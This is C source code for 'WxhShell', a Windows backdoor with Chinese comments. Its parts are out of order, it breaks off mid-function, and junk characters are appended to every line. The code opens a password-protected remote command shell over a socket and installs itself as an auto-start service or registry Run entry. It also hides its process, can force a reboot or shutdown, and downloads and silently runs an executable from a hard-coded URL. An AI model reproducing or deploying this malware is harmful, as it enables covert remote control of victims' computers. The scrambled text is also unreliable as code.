    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5/*ZqrJw{"  
    if(Boot(SHUTDOWN)) }%XNB1/`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'QW 0K]il  
    else { }y[o[>  
    closesocket(wsh); {O^1WgGc[  
    ExitThread(0); ?_tOqh@in  
    } #bdJ]v.n  
    break; 5Cz:$-+  
    }  =6A<>  
  // 获取shell T+.wJ W:jh  
  case 's': { Y":hb;&  
    CmdShell(wsh); VUt 6[~?  
    closesocket(wsh); Qu;AU/Q<([  
    ExitThread(0);  "= UP&=  
    break; KY"~Ta`  
  } ]\3dJ^q|%  
  // 退出 iySmNI  
  case 'x': { zzW^ AvR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #Ta@A~.L  
    CloseIt(wsh); d+^4 ;Hv4  
    break; _D+7w'8h  
    } +b{h*WWdj  
  // 离开 {u5)zVYC,U  
  case 'q': { I}8F3_b,#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $@#nn5^IX  
    closesocket(wsh); gXfAz,  
    WSACleanup(); `o*eLLk  
    exit(1); A!^,QRkRN  
    break; YInW)My.h  
        } g@EKJFjl  
  } z&t6,0q`5  
  } ` 86b  
TLV)mCZ  
  // 提示信息 T!*7G:\f"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ev@1+7(  
} Aw|3W ]  
  } '$U"RP^(  
<Jvr mm[  
  return; O42An$}  
} RI%l& Hm  
h\ ybh  
// shell模块句柄 /3c1{%B\  
int CmdShell(SOCKET sock) Jq; }q63:  
{ Cn{UzSKfs  
STARTUPINFO si; k1cBMDSokO  
ZeroMemory(&si,sizeof(si)); #/1Bam6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DV.MvFV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fcBS s\\C~  
PROCESS_INFORMATION ProcessInfo; y1AS^'  
char cmdline[]="cmd"; U{_O=S u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >H%8~ Oek  
  return 0; #".{i+3E  
} aY?}4Bx  
P$oa6`%l  
// 自身启动模式 ]O\6.>H  
int StartFromService(void)  #?,cYh+  
{ ']rh0?  
typedef struct :@3d  
{ "vJADQ4F  
  DWORD ExitStatus; Nyo6R9^  
  DWORD PebBaseAddress; 8uu:e<PLv  
  DWORD AffinityMask; >\i{,F=U7  
  DWORD BasePriority; 0- #ct1-  
  ULONG UniqueProcessId; {C6Yr9  
  ULONG InheritedFromUniqueProcessId; Xgl>kJy<#  
}   PROCESS_BASIC_INFORMATION; " DFg"  
fklM Yu4:n  
PROCNTQSIP NtQueryInformationProcess; [n^___7  
npe*A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WFdS#XfV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \:#b9t{B-  
-`gC?yff:  
  HANDLE             hProcess; +pV3.VMH0  
  PROCESS_BASIC_INFORMATION pbi; nDo|^{!L`  
<0vvlOL5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4 IHl'*D[#  
  if(NULL == hInst ) return 0; Z*Y?"1ar  
5eU/ [F9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'nLv0.7*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ga h e-%J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !bY{T#i)k  
7oWv'  
  if (!NtQueryInformationProcess) return 0; H>D_0o<#y  
H9nq.<;p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VT9$&\)>O  
  if(!hProcess) return 0; I2Us!W>6-  
PNG'"7O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jw^+t)t  
L%<1C \k  
  CloseHandle(hProcess);  z/ i3  
?|L)!LYx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .xD-eWw3R  
if(hProcess==NULL) return 0; ;F:(5GBi  
y>o#Hq&qM  
HMODULE hMod; *oPSkEA{  
char procName[255]; WV6vM()#!C  
unsigned long cbNeeded; 0<)8 ?ow  
+X&B'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ry(!< w,  
-g>27EI5  
  CloseHandle(hProcess); vJ{\67tK  
AD5tuY  
if(strstr(procName,"services")) return 1; // 以服务启动 \}2Wd`kD  
e (f)?H  
  return 0; // 注册表启动 2#&K3v  
} (>jME  
|#sP1w'l]  
// 主模块 Vr^wesT\Hx  
int StartWxhshell(LPSTR lpCmdLine) N8vWwN[3  
{ 9UwDa`^  
  SOCKET wsl; V- v Vb  
BOOL val=TRUE; 3Q#VD)  
  int port=0; B845BSmh  
  struct sockaddr_in door; (&B & V  
b)V[d8IA  
  if(wscfg.ws_autoins) Install(); Gq{v)iN  
0s8S`hCn>  
port=atoi(lpCmdLine); SUx0!_f*R  
E8nqEx Q  
if(port<=0) port=wscfg.ws_port; kz&)a>aA  
/yOd]N;$  
  WSADATA data; pUPb+:^R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <ya3|ycnS  
*7R3EUUk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S38D cWIw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +]__zm/^  
  door.sin_family = AF_INET; %d>Ktf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "au"\}   
  door.sin_port = htons(port); z XvWo6  
z[';HJ0O;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !At_^hSqz  
closesocket(wsl); o#T,vu0s  
return 1; |9%>R*  
} "[8](3\v  
$nVTN.k  
  if(listen(wsl,2) == INVALID_SOCKET) { V^0*S=N  
closesocket(wsl); $'&5gFr9  
return 1; vxwctJ&  
} }:BF3cH> 0  
  Wxhshell(wsl); USbiI %   
  WSACleanup(); Gzs x0%`)  
'`RCN k5l  
return 0; e88JT_zrO  
/M#A[tZ3  
} '*T7tl  
z><JbSE?  
// 以NT服务方式启动 E u@TCw8@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >GjaA1,  
{ FVSz[n  
DWORD   status = 0; 8Yj(/S3y  
  DWORD   specificError = 0xfffffff; <Ei|:m  
uM\~*@   
  serviceStatus.dwServiceType     = SERVICE_WIN32; x=H*"L=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c)lK{DC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p#?1l/f"  
  serviceStatus.dwWin32ExitCode     = 0; Zj}, VB*T  
  serviceStatus.dwServiceSpecificExitCode = 0; X{ Nif G  
  serviceStatus.dwCheckPoint       = 0; "NJ!A  
  serviceStatus.dwWaitHint       = 0; 8@r+)2  
D~1nh%x_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;Y~;G7  
  if (hServiceStatusHandle==0) return; 2D-*Z=5^  
0]WM:6 h  
status = GetLastError(); R#r?<Ofw4  
  if (status!=NO_ERROR) /,;9hx  
{ Bf7RW[ -v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /yI~(8bO  
    serviceStatus.dwCheckPoint       = 0; k_^d7yH  
    serviceStatus.dwWaitHint       = 0; MTF:mLJ  
    serviceStatus.dwWin32ExitCode     = status; 2x{3'^+l  
    serviceStatus.dwServiceSpecificExitCode = specificError; >g F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $EtZ5?qS  
    return; BBp Hp  
  } dJ|]W|q<  
PGybX:L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YsTfv1~z#  
  serviceStatus.dwCheckPoint       = 0; zX5p'8-  
  serviceStatus.dwWaitHint       = 0; d8x$NW-s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O" z=+79q  
} }R>g(q=N  
VRxBi!d  
// 处理NT服务事件,比如:启动、停止 j$Kubg(I5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~gV|_G  
{ 2{ptV\f]D  
switch(fdwControl) ad"&c*m[  
{ *+J&ebSTN  
case SERVICE_CONTROL_STOP: ,+q5e^P  
  serviceStatus.dwWin32ExitCode = 0; r67 3+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xWV_Do)z  
  serviceStatus.dwCheckPoint   = 0; xi.;`Q^#  
  serviceStatus.dwWaitHint     = 0; hTy#Q.=  
  { 7?kvrIuY&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;hKn$' '  
  } MBa/-fD  
  return;  ,{.&xJ$  
case SERVICE_CONTROL_PAUSE: EJ86k>]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R{*p \;  
  break; SQliF[-  
case SERVICE_CONTROL_CONTINUE: [szwPNQ_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FUHjY  
  break; 5[@4($q8  
case SERVICE_CONTROL_INTERROGATE: yP"_j&ef7  
  break; is`a_{5e=  
}; ?$o8=h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jw86P=  
} 2x`# f0[  
m=n V$H   
// 标准应用程序主函数 1dKLNE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7g=Ze~aq  
{ J"SAA0)@  
}b0qrr  
// 获取操作系统版本 %fxGdzu7.  
OsIsNt=GetOsVer(); hup]Jk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0 ">#h  
k|BEAdQ%M  
  // 从命令行安装 I=b#tUBh8  
  if(strpbrk(lpCmdLine,"iI")) Install(); myXp]=Sb?  
)\s:.<?EQ  
  // 下载执行文件 9t)t-t#P;  
if(wscfg.ws_downexe) { @4&sL](q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .Oim7JQ8  
  WinExec(wscfg.ws_filenam,SW_HIDE); {UwJg  
} s~TYzfA  
KRz\ct|  
if(!OsIsNt) { gsAcn  
// 如果时win9x,隐藏进程并且设置为注册表启动 U"ga0X5  
HideProc(); M,<%j  
StartWxhshell(lpCmdLine); *Fq Nzly  
} yJgnw6>r2  
else "3!4 hiU9  
  if(StartFromService()) m6JIq}CMb  
  // 以服务方式启动 z?cRsqf  
  StartServiceCtrlDispatcher(DispatchTable); }]f)Fz  
else @ VJr0  
  // 普通方式启动 0tl  
  StartWxhshell(lpCmdLine); *ZY{^f  
3<Cd >o.  
return 0; M.t5,NJ  
} c[Y7tj%y  
O[-wm;_(=*  
ZL@7Mr!e  
)ll}hGS  
=========================================== R (hq Ba/V  
M>'-P  
} #$Y^ +UN  
(D))?jnC  
^%C.S :  
[]u!piW  
" ,.E:mm  
LtC kDnXk  
#include <stdio.h> :k JSu{p  
#include <string.h> ) I@gy  
#include <windows.h> AU)Qk$c  
#include <winsock2.h> y/Nvts2!C  
#include <winsvc.h> Z|3l2ucl  
#include <urlmon.h> bluC P|  
*X,vu2(I-=  
#pragma comment (lib, "Ws2_32.lib") C YnBZ  
#pragma comment (lib, "urlmon.lib") r{Xh]U&>k  
/LJ?JwAvg5  
#define MAX_USER   100 // 最大客户端连接数 bk"` hq  
#define BUF_SOCK   200 // sock buffer BPC$ v\a  
#define KEY_BUFF   255 // 输入 buffer g*8sh  
)L^WD$"'Q  
#define REBOOT     0   // 重启 :e gSW2"5S  
#define SHUTDOWN   1   // 关机 ,Kdvt@vle  
R` /n sou  
#define DEF_PORT   5000 // 监听端口 3"q%-M|+Q  
0WQ0-~wx  
#define REG_LEN     16   // 注册表键长度 cT."  
#define SVC_LEN     80   // NT服务名长度 @aBZ|8  
A87Tyk2Pi  
// 从dll定义API :y]l`Mo -  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _{-GR-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T0Y=g n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6 )Oe]{-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZLBfQ+pM)  
{KODwP'~  
// wxhshell配置信息 .-nA#/2-  
struct WSCFG { 3``$yWWg  
  int ws_port;         // 监听端口 Kf(% aDYq  
  char ws_passstr[REG_LEN]; // 口令 )M}bc1 _  
  int ws_autoins;       // 安装标记, 1=yes 0=no ` R^[s56wp  
  char ws_regname[REG_LEN]; // 注册表键名 3A'd7FJ0G  
  char ws_svcname[REG_LEN]; // 服务名 =TyN"0@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *}yW8i}36  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2W|j K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %B#Ewt@[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m3.d!~U\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &oNy~l o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P3(u+UI3  
}1'C!]j  
}; pNE!waR>  
v!40>[?|p  
// default Wxhshell configuration S[*e K Z  
struct WSCFG wscfg={DEF_PORT, .lRO; D  
    "xuhuanlingzhe", y8 `H*s@  
    1, =@B9I<GKf  
    "Wxhshell", ()XL}~I{!A  
    "Wxhshell", ou@Dd4  
            "WxhShell Service", |9 }G  
    "Wrsky Windows CmdShell Service", r?V\X7` +  
    "Please Input Your Password: ", U9kt7#@FDK  
  1, fz,8 <  
  "http://www.wrsky.com/wxhshell.exe", ~I2 IgEj>]  
  "Wxhshell.exe" |1;0q<Ka  
    }; 3"&6rdF\jB  
}LQ&AIRN  
// 消息定义模块 2}+V3/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Dh J<\_;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t5[{ihv~:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 82>zu}  
char *msg_ws_ext="\n\rExit."; }1epn#O_4  
char *msg_ws_end="\n\rQuit."; 8(&C0_yD  
char *msg_ws_boot="\n\rReboot..."; {Pu\KRU  
char *msg_ws_poff="\n\rShutdown..."; Vk8:;Hj  
char *msg_ws_down="\n\rSave to "; DKYrh-MN  
=3""D{l  
char *msg_ws_err="\n\rErr!"; #^#N%_8  
char *msg_ws_ok="\n\rOK!"; eEupqOF*:W  
R6CxNPRJ  
char ExeFile[MAX_PATH]; JF!!)6!2#  
int nUser = 0;  8tLkJOu  
HANDLE handles[MAX_USER]; !!dNp5h`  
int OsIsNt; ;nSaZ$`5  
T3!l{vG \O  
SERVICE_STATUS       serviceStatus; "l2_7ZXsPT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x@(91f  
_^dWJ0  
// 函数声明 LWf+H 4iZ}  
int Install(void); yD5T'np<4  
int Uninstall(void); En-eG37 l  
int DownloadFile(char *sURL, SOCKET wsh); =DvnfT<  
int Boot(int flag); sj Yg  
void HideProc(void); 3E:wyf)i"  
int GetOsVer(void); A+NLo[swwu  
int Wxhshell(SOCKET wsl); D",ZrwyJ  
void TalkWithClient(void *cs); J'Gn M?M  
int CmdShell(SOCKET sock); 3|g'1X}  
int StartFromService(void); b8Y1.y"#  
int StartWxhshell(LPSTR lpCmdLine); q<.^DO~$L  
}Geip@Ot  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Pg7W:L7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y7$e7~}/  
3mpEF<z  
// 数据结构和表定义 Fg`r:,(a  
SERVICE_TABLE_ENTRY DispatchTable[] = GfPe0&h  
{ Ku56TH!Py  
{wscfg.ws_svcname, NTServiceMain}, &2#<6=}  
{NULL, NULL} Kx$?IxZ  
}; Kl\A&O*{  
l% K9Ke  
// 自我安装 ~@MIG  
int Install(void) [Gysx  
{ =-`X61];M  
  char svExeFile[MAX_PATH]; \Qz>us=G  
  HKEY key; Cm(Hu  
  strcpy(svExeFile,ExeFile); y! 7;Z~"  
'I*F(4x  
// 如果是win9x系统,修改注册表设为自启动 P[aB}<1f0  
if(!OsIsNt) { Vad(PS0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~Og'IRf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IiS1ubNtZ  
  RegCloseKey(key); :n{rVn}G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @U:WWTzf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sw8Ic\vT  
  RegCloseKey(key); o#Rao#bD:  
  return 0; __'Z0?.4#  
    } F2OU[Z,-]  
  } *cq#>rN  
} 'xvV;bi  
else { b]Oc6zR,,~  
}a-ikFQ]  
// 如果是NT以上系统,安装为系统服务 <`~] P$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "EQ}xj  
if (schSCManager!=0) h$4V5V  
{ z35n3q  
  SC_HANDLE schService = CreateService y @h^  
  ( 3zMmpeq  
  schSCManager, 6D _4o&N  
  wscfg.ws_svcname, <o^mQq&  
  wscfg.ws_svcdisp, OA&NWAm4  
  SERVICE_ALL_ACCESS, rXo,\zI;u^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `Nc3I\tCM  
  SERVICE_AUTO_START, 5"]PwC  
  SERVICE_ERROR_NORMAL, 5rfGMk <  
  svExeFile, >c8zMd  
  NULL, VBBqoyP h  
  NULL, "?}QwtUW  
  NULL, -P@o>#Em  
  NULL, qeH#c=DQ  
  NULL ?(;ygjyx  
  ); 6D/5vM1  
  if (schService!=0) 1h"0B  
  { jQ1~B1(  
  CloseServiceHandle(schService); ~ m, z|  
  CloseServiceHandle(schSCManager); x !]ZVl]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hRtnO|Z6  
  strcat(svExeFile,wscfg.ws_svcname); L'z;*N3D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6EP5n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qA Jgz7=c  
  RegCloseKey(key); =DG aK0n  
  return 0; f.Q?-M  
    } 0'c<EJ  
  } =HYMX "s  
  CloseServiceHandle(schSCManager); d\'M ~VQ  
} rS{Rzs^@  
} nRb#M  
FV!  
return 1; 64h r| v  
} @fPiGu`L  
2p(K0PtX  
// 自我卸载 *.n9D  
int Uninstall(void) T->O5t c  
{ Y&]pC  
  HKEY key; 3QM.X^ANH  
|P>> ^,iUn  
if(!OsIsNt) { 2px l!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /vwGSuk._  
  RegDeleteValue(key,wscfg.ws_regname); }NiJDs  
  RegCloseKey(key); onHUi]yYu{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u L/*,[}'  
  RegDeleteValue(key,wscfg.ws_regname); f*bs{H'5  
  RegCloseKey(key); 3 3s.p'  
  return 0; 5 S7\m5  
  } \CX`PZ><  
} adHHnH`,  
} _+.z2} M  
else { .ye5 ;A}  
@1^iWM j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i,$*+2Z  
if (schSCManager!=0) d+ql@e]  
{ /$/\$f$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OB;AgE@  
  if (schService!=0) D.)R8X  
  { ,hYUxh45  
  if(DeleteService(schService)!=0) { D9 ,~Fc  
  CloseServiceHandle(schService); d=Q0 /sI&  
  CloseServiceHandle(schSCManager); L`yS '  
  return 0; - "h {B  
  } q}1AV7$Ai  
  CloseServiceHandle(schService); i *nNu-g  
  } !NZFo S~  
  CloseServiceHandle(schSCManager); oT_k"]~Q~2  
} z*I=  
} r#d~($[93  
(LkGBnXE  
return 1; rF>:pS,`&  
} "e@JMS  
$NT{ssh  
// 从指定url下载文件 NcB^qv  
int DownloadFile(char *sURL, SOCKET wsh) ERCW5b[RT  
{ n)^B0DnIk  
  HRESULT hr; k%VV(P]sT  
char seps[]= "/"; 0 \&4?  
char *token; vb\UP&Ip  
char *file; drNfFx 2  
char myURL[MAX_PATH]; [gqV}Y"Md  
char myFILE[MAX_PATH]; <eQS16  
!xA;(<K[^  
strcpy(myURL,sURL); @]gP"Pp  
  token=strtok(myURL,seps); ZMy,<wk  
  while(token!=NULL) 7o'kdY Jzo  
  { G0xk @SE  
    file=token; FgKDk!ci  
  token=strtok(NULL,seps); p/4GOU5g  
  } mst-:F[h  
2PAo tD4+I  
GetCurrentDirectory(MAX_PATH,myFILE); 5 ,quM"  
strcat(myFILE, "\\"); gdNEMT  
strcat(myFILE, file); > ~J&i3  
  send(wsh,myFILE,strlen(myFILE),0); /2~qm/%Q  
send(wsh,"...",3,0); f0O"Hm$Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lk)38.  
  if(hr==S_OK) nH/V2> Lm  
return 0; m80QMosp  
else .ie\3q)  
return 1; Xj.6A,}^  
qMmh2a&  
} yI)~- E.  
O F2*zU7M  
// 系统电源模块 mj{TqF  
int Boot(int flag) Vj2]-]Cm  
{ (wo.OH  
  HANDLE hToken; |9@?8\   
  TOKEN_PRIVILEGES tkp; >#)^4-e  
diaLw  
  if(OsIsNt) { :BN qr[=b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y'DI@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZZX|MA!  
    tkp.PrivilegeCount = 1; 1<Qb"FN!2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [59_n{S 1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5)AMl)  
if(flag==REBOOT) { &Plc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?qO_t;:0>  
  return 0; X8GIRL)lJ  
} )8!""n~  
else { J XPE9uH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &?#V*-;^  
  return 0; HX7"w   
} 1\$xq9  
  } W{*U#:Jx1  
  else {  wC}anq>>  
if(flag==REBOOT) { qa.nm4"6+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T9}G:6  
  return 0; kL*  DU`  
} <V5(5gx  
else { L(fOe3 v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P>9F(#u_(F  
  return 0; `gDpb.=Y  
} g~rZ=  
} :54ik,l  
LkK%DY  
return 1; 9i;%(b{  
} B8:G1r5G/  
gp`$/ci  
// win9x进程隐藏模块 m6a`OkP  
void HideProc(void) *GH` u*C_  
{ f(6`5/C  
/q^)thJ~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $BXZFC_1S  
  if ( hKernel != NULL ) #.'0DWT \-  
  { mCb(B48]%X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {^a"T'+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); | (JxtQqQg  
    FreeLibrary(hKernel); =8?y$WE  
  } ?\"GT]5D  
3X=9$xw_  
return; K`{P/w  
} ,.A@U*j  
>-*rtiE  
// 获取操作系统版本 7l/.f SW  
int GetOsVer(void) jhgS@g=@ZC  
{ iyKAw   
  OSVERSIONINFO winfo; ]w`)"{j5m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xQ+UZc  
  GetVersionEx(&winfo); X ^8@T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^~9fQJNs  
  return 1; ;h<(vc3@f  
  else zo6|1xq   
  return 0; z$4g9  
} ,R#pQ 4  
8Wqh 8$  
// 客户端句柄模块 ?<)4_  
int Wxhshell(SOCKET wsl) ~_8Dv<"a  
{ #I8)|p?P  
  SOCKET wsh; I$7|?8  
  struct sockaddr_in client; b"Hc==`  
  DWORD myID; u1a0w  
I! eu|_cF  
  while(nUser<MAX_USER) IO3p&sJ/  
{ cvxYuP~  
  int nSize=sizeof(client); c%+/TO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u atY:GSR  
  if(wsh==INVALID_SOCKET) return 1; kl%%b"h'  
M15Ce)oB1(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >cU#($X$^  
if(handles[nUser]==0) nWb*u  
  closesocket(wsh); @6h ,#8#  
else m#1 >y}  
  nUser++; !xk`oW  
  } -:cBVu-m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `yF6-F  
.j^tFvN~L  
  return 0; iZY4+ X  
} (+uM |a  
PkX4 !  
// 关闭 socket |ecK~+  
void CloseIt(SOCKET wsh) JYbsta  
{ ,Ei!\U^)  
closesocket(wsh); D+#OB|&Dn  
nUser--; yC\dM1X  
ExitThread(0); A.tXAOM(VW  
} /Js A[}.6  
kZ<0|b  
// 客户端请求句柄 yX 9 .yq  
void TalkWithClient(void *cs) E{s p  
{ $ix:S$  
YYNh| 2  
  SOCKET wsh=(SOCKET)cs; bUvVt3cm  
  char pwd[SVC_LEN]; Z5/*i un  
  char cmd[KEY_BUFF]; rebnV&-  
char chr[1]; e~oh%l^C72  
int i,j; <<'%2q5  
=z >d GIT1  
  while (nUser < MAX_USER) { +FomAs1*f  
jkAWRpOc)  
if(wscfg.ws_passstr) { ]#k=VKdV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TrCut 2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Hl-|n  
  //ZeroMemory(pwd,KEY_BUFF); T*o!#E.  
      i=0; =&T%Jm}  
  while(i<SVC_LEN) { d?:KEi-<7  
M>qqe!c*  
  // 设置超时 yz}ik^T  
  fd_set FdRead; OSoIH`t A  
  struct timeval TimeOut; LV2#w_^I  
  FD_ZERO(&FdRead); |7%has3"  
  FD_SET(wsh,&FdRead); [}$jO,H5r  
  TimeOut.tv_sec=8; tJ Bj9{  
  TimeOut.tv_usec=0; ^?M# |>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )[b\wrc   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M$u.lI  
{ 9:vq|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [#@\A]LO  
  pwd=chr[0]; i+qt L3  
  if(chr[0]==0xd || chr[0]==0xa) { :; z]:d  
  pwd=0; 4Jn+Ot.,d  
  break; [>$?/DM  
  } 35Ro8 5j  
  i++; N\l|3~  
    } QmgO00{  
lA{JpH_Y8s  
  // 如果是非法用户,关闭 socket h;Hg/jv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [KQ#b  
} MO^Q 8v  
^>wlj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &x?m5%^l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _D 9/,n$  
:6gRoMb]  
while(1) { h+rW%`B  
C5Vlqc;  
  ZeroMemory(cmd,KEY_BUFF); d`gKF  
aD^jlt  
      // 自动支持客户端 telnet标准   NufRd/q  
  j=0; ="p,~ivrz  
  while(j<KEY_BUFF) { jn +*G<NJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t|urvoz  
  cmd[j]=chr[0]; ~6A;H$dr  
  if(chr[0]==0xa || chr[0]==0xd) { Sw.k,p*r  
  cmd[j]=0; !C(U9p. 0  
  break; ^jb jH I&  
  } #<K'RJn  
  j++; LpK? C<?x  
    } >P+o NY  
%i6/= 'u  
  // 下载文件 Etn uEU  
  if(strstr(cmd,"http://")) { \@[Y ~:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); buldA5*!o  
  if(DownloadFile(cmd,wsh)) R]&lVXyH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S5BS![-QK  
  else L35]'Jua  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oeYUsnsbi  
  } 9!_JV;2  
  else { CKnPMvmz  
